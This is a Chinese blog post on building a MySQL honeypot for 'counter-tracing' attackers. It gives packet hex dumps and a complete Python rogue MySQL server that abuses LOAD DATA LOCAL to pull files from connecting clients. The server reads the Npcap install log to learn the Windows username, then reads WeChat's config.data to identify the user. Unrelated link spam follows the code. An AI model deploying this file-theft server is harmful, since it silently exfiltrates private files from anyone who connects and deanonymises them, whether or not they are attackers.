溯源反制-Mysql蜜罐
东西比较老,类似的文章网上已经很多,原理主要是通过服务端的load data动作可以主动向客户端获取文件。
看过hfish等自带的mysql蜜罐读取/etc/passwd,感觉还差点实用性。这次文章主要还是要分析报文的数据交互,利用navicat二次交互获取微信等信息。
一、数据包分析:
1、用正式mysql环境,navicat连接抓包分析,TCP握手成功后,返回server greeting。

2、greeting报文主要是版本等信息,直接把bytes拿过来,待会儿socket制造套接字回包的时候直接用。

3、然后就是认证以后response ok,bytes拿过来,待会儿socket制造套接字回包的时候直接用,这是第二部分回包的数据。

4、接下去,navicat会发送set names utf8mb4,同理拷贝过来。

5、上面是navicat的已经够了,shack2要想扫到,交互还差几个包。SHOW VARIABLES,SHOW COLLATION,SET character_set_results=NULL。使用shack2做一次爆破后拷贝bytes字节流。内容很多,实际上只要头和尾就可以。验证如下:

6、总结下需要回包的字节流。
mysql版本信息 = b"4e0000000a352e362e35302d6c6f670040000000767152276a64357800fff72d02007f801500000000000000000000233f54672c4142665c796f40006d7973716c5f6e61746976655f70617373776f726400" 认证返回成功 = b"0700000200000002000000" variables = b"0100000102540000020364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530d5661726961626c655f6e616d650d5641524941424c455f4e414d450c080040000000fd01000000004d0000030364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530556616c75650e5641524941424c455f56414c55450c080000040000fd000000000005000004fe000022001b000005186175746f5f696e6372656d656e745f696e6372656d656e740131050000ccfe00002200" COLLATION= b"0100000106530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c080020000000fd0100000000550000030364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530743686172736574124348415241435445525f5345545f4e414d450c080020000000fd0100000000400000040364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530249640249440c3f000b0000000801000000004d0000050364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530744656661756c740a49535f44454641554c540c080003000000fd01000000004f0000060364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5308436f6d70696c65640b49535f434f4d50494c45440c080003000000fd01000000004a0000070364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5307536f72746c656e07534f52544c454e0c3f000300000008010000000005000008fe00002200210000090f626967355f6368696e6573655f63690462696735013103596573035965730131050000e4fe00002200" SET:b"0700000100000002000000"
二、信息获取
1、用户的user怎么搞?攻击者要装wireshark,大概率的。还有一个是装QQ的。我感觉wireshark可能性更大,npcap日志中含用户名。
C:\Program Files\Npcap\install.log
C:\Users\Public\Documents\Tencent\QQ\UserDataInfo.ini

2、剩下的就是微信,navicat二次交互,第一次抓计算机用户名,第二次根据用户名抓微信。
C:\Users\user_name\Documents\WeChat Files\All Users\config\config.data
第一次获取计算机用户名后替换user_name。
三、完整代码实现
1 #-*- coding : utf-8 -*-
2 import codecs
3 import socket
4 import re
5
6 filename_get_user_file = r'C:\Program Files\Npcap\install.log'
7 filename_get_data_file = r'C:\Users\user_name\Documents\WeChat Files\All Users\config\config.data'
8
9 serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10 username = ""
11
12 port = 3306
13
14 serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
15 serversocket.bind(("", port))
16 serversocket.listen(5)
17
18 def _get_file(file):
19 if len(str(len(file) + 1)) % 2 == 1:
20 file_length = "0" + hex(len(file) + 1)[2:]
21 else:
22 file_length = hex(len(file) + 1)[2:]
23 file_response = file_length + "000001fb" + file.encode().hex()
24 clientsocket.sendall(codecs.decode(str.encode(file_response), "hex_codec"))
25 file_content = str(clientsocket.recv(9999))
26 return file_content
27
28 while True:
29 # 建立连接
30 clientsocket,addr = serversocket.accept()
31
32 # 返回版本信息
33 mysql_version = b"4e0000000a352e362e35302d6c6f670040000000767152276a64357800fff72d02007f801500000000000000000000233f54672c4142665c796f40006d7973716c5f6e61746976655f70617373776f726400"
34 clientsocket.sendall(codecs.decode(mysql_version, "hex_codec"))
35 try:
36 # 客户端请求
37 clientsocket.recv(9999)
38 except Exception as e:
39 continue
40 # Response OK
41 verification = b"0700000200000002000000"
42 clientsocket.sendall(codecs.decode(verification, "hex_codec"))
43 try:
44 request_data = bytes.decode(clientsocket.recv(9999))
45
46 if "utf8mb4" in request_data:
47 if username == "":
48 file_content = _get_file(filename_get_user_file)
49 pattern = re.compile(r"Users[\\]{1,4}(\w*)")
50 user = pattern.findall(file_content)
51 if user != []:
52 username = user[0]
53 print(file_content)
54 else:
55 filename_get_data_file = filename_get_data_file.replace("user_name",username)
56 file_content = _get_file(filename_get_data_file)
57 print(file_content)
58 clientsocket.close()
59 elif "VARIABLES" in request_data:
60 variables_response = b"0100000102540000020364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530d5661726961626c655f6e616d650d5641524941424c455f4e414d450c080040000000fd01000000004d0000030364656612696e666f726d6174696f6e5f736368656d61095641524941424c4553095641524941424c45530556616c75650e5641524941424c455f56414c55450c080000040000fd000000000005000004fe000022001b000005186175746f5f696e6372656d656e745f696e6372656d656e740131050000ccfe00002200"
61 clientsocket.sendall(codecs.decode(variables_response, "hex_codec"))
62 if "COLLATION" in str(clientsocket.recv(9999)):
63 collation_response = b"0100000106530000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e0e434f4c4c4154494f4e5f4e414d450c080020000000fd0100000000550000030364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530743686172736574124348415241435445525f5345545f4e414d450c080020000000fd0100000000400000040364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530249640249440c3f000b0000000801000000004d0000050364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e530744656661756c740a49535f44454641554c540c080003000000fd01000000004f0000060364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5308436f6d70696c65640b49535f434f4d50494c45440c080003000000fd01000000004a0000070364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5307536f72746c656e07534f52544c454e0c3f000300000008010000000005000008fe00002200210000090f626967355f6368696e6573655f63690462696735013103596573035965730131050000e4fe00002200"
64 clientsocket.sendall(codecs.decode(collation_response, "hex_codec"))
65 if "SET" in str(clientsocket.recv(9999)):
66 set_response = b"0700000100000002000000"
67 clientsocket.sendall(codecs.decode(set_response, "hex_codec"))
68 except Exception as e:
69 print(e)
溯源反制-Mysql蜜罐的更多相关文章
- Mysql溯源-任意文件读取👻
Mysql溯源-任意文件读取 前言 读了<MySQL蜜罐获取攻击者微信ID>的文章,文中说明了通过mysql蜜罐读取攻击者微信ID的过程,抱着学习的态度尝试了一下 原理 mysql中有一个 ...
- APT组织跟踪与溯源
前言 在攻防演练中,高质量的蓝队报告往往需要溯源到攻击团队.国内黑产犯罪团伙.国外APT攻击. 红队现阶段对自己的信息保护的往往较好,根据以往溯源成功案例来看还是通过前端js获取用户ID信息.mysq ...
- MySQL复制异常大扫盲:快速溯源与排查错误全解
MySQL复制异常大扫盲:快速溯源与排查错误全解https://mp.weixin.qq.com/s/0Ic8BnUokyOj7m1YOrk1tA 作者介绍王松磊,现任职于UCloud,从事MySQL ...
- Mysql命令show global status求根溯源
近来,发现好多公司对mysql的性能监控是通过show global status实现的,因此对于这个命令想要探究一番,看他是否是实时更新的. 在此之前,我们必须搞明白mysql对于这个命令的执行过程 ...
- mysql发展历程 各分支版本溯源
首先为什么要了解mysql的历史,了解一个软件的前生后世有时候还是很有必要,特别是对于走在架构之路或者是想深入了解一个软件的时候,在不同版本中由于进行了很多的改进或者说加入了新的功能,也有可能是软件本 ...
- 【排障】编译安装Mysql并使用自启动脚本mysqld后报错
本文用于记录在某次个人实验搭建DZ论坛,在编译安装部署mysql环节时出的错到最终排除错误的过程, 前面采用DZ官网所采用的编译安装mysql的过程就省去,主要从报错处开始讲述. (题外话,经此一役后 ...
- Cowrie蜜罐部署教程【转载】
0.蜜罐分类: 低交互:模拟服务和漏洞以便收集信息和恶意软件,但是攻击者无法和该系统进行交互: 中等交互:在一个特有的控制环境中模拟一个生产服务,允许攻击者的部分交互: 高交互:攻击者可以几乎自由的访 ...
- MYSQL的历史
MYSQL的历史 见证MySQL发展历程 各分支版本溯源 http://tech.it168.com/a2012/0621/1363/000001363446.shtml [IT168 技术]毫无疑问 ...
- 简单实现MySQL数据库的日志审计
时间 2018-12-23 08:01:11 FreeBuf 原文 https://www.freebuf.com/articles/es/192062.html 主题 MySQL 0×0 背景 ...
- [转]一键安装藏隐患,phpStudy批量入侵的分析与溯源
一.前言 近日,腾讯安全云鼎实验室监测到大量主机被入侵并添加了一个名为“vusr_dx$”的隐藏帐号:同时,云鼎实验室还监测到此类帐号被大量创建的同时存在对应帐号异地登录的情况. Windows 的帐 ...
随机推荐
- Windows平台文件拆分与完整性检查的过程
Windows平台文件拆分与完整性检查的过程 场景 有时候在没有linux主机的情况下, 自己下载下来的文件比较大. 比较难以上传到一些特殊的系统/主机上面. 这个时候需要将文件进行拆分. 所以可以通 ...
- [转帖]FIO – IO压力测试工具
https://blog.csdn.net/younger_china/article/details/71129541 <存储工具系列文章>主要介绍存储相关的测试和调试工具,包括不限于d ...
- [转帖]Shell中常用的date时间命令
常用FORMAT %Y YYYY格式的年份(Year) %m mm格式的月份(),01-12 %d dd格式的日期(day of month),01-31 %H HH格式的小时数(),00 ...
- [转帖]原创经典:SQLSERVER SendStringParametersAsUnicode引发的疑案 推荐
https://developer.aliyun.com/article/429563 简介: 上周五碰到开发的请求协助解决数据预定程序中对单头等几个表检索数据时检索条件尾数是9的数据特别慢.第一时间 ...
- [粘贴]【CPU】关于x86、x86_64/x64、amd64和arm64/aarch64
[CPU]关于x86.x86_64/x64.amd64和arm64/aarch64 https://www.jianshu.com/p/2753c45af9bf 为什么叫x86和x86_64和AMD6 ...
- 隐私计算之多方安全计算(MPC,Secure Multi-Party Computation)
作者:京东科技隐私计算产品部 杨博 1.背景 如今,组织在收集.存储敏感的个人信息以及在外部环境(例如云)中处理.共享个人信息时, 越来越关注数据安全.这是遵守隐私法规的强需求:例如美国加利福尼亚 ...
- TypeScript中typeof的简单介绍
简单介绍typeof 我们都知道js提供了typeof,用来获取基本数据的类型. 实际上,TS也提供了 typeof 操作符. 可以在 [类型上下文]中进行类型查询. 只能够进行变量或者属性查询. 定 ...
- 如何安装typescript-如何运行typescript
如何安装 typescript npm install typescript -g 安装 ts 之前需要安装 node 哈 查看 ts 的版本 tsc -V 我的是 3.6.3 的版本 typescr ...
- 微信小程序-获取用户位置
首先我要提供几个文档的链接地址: 首先是官方文档的获取用户位置的API文档地址: 官方文档地址:https://developers.weixin.qq.com/miniprogram/dev/api ...
- centos多网卡时修改网卡的优先级
我有个服务器有多个网卡,分别配置了多个网段的IP地址,发现有一个网段ping不通.最后发现是路由优先级的问题. 查看路由 查看本机路由route主要看Metric的值,值越小表示优先级越高,取值范围1 ...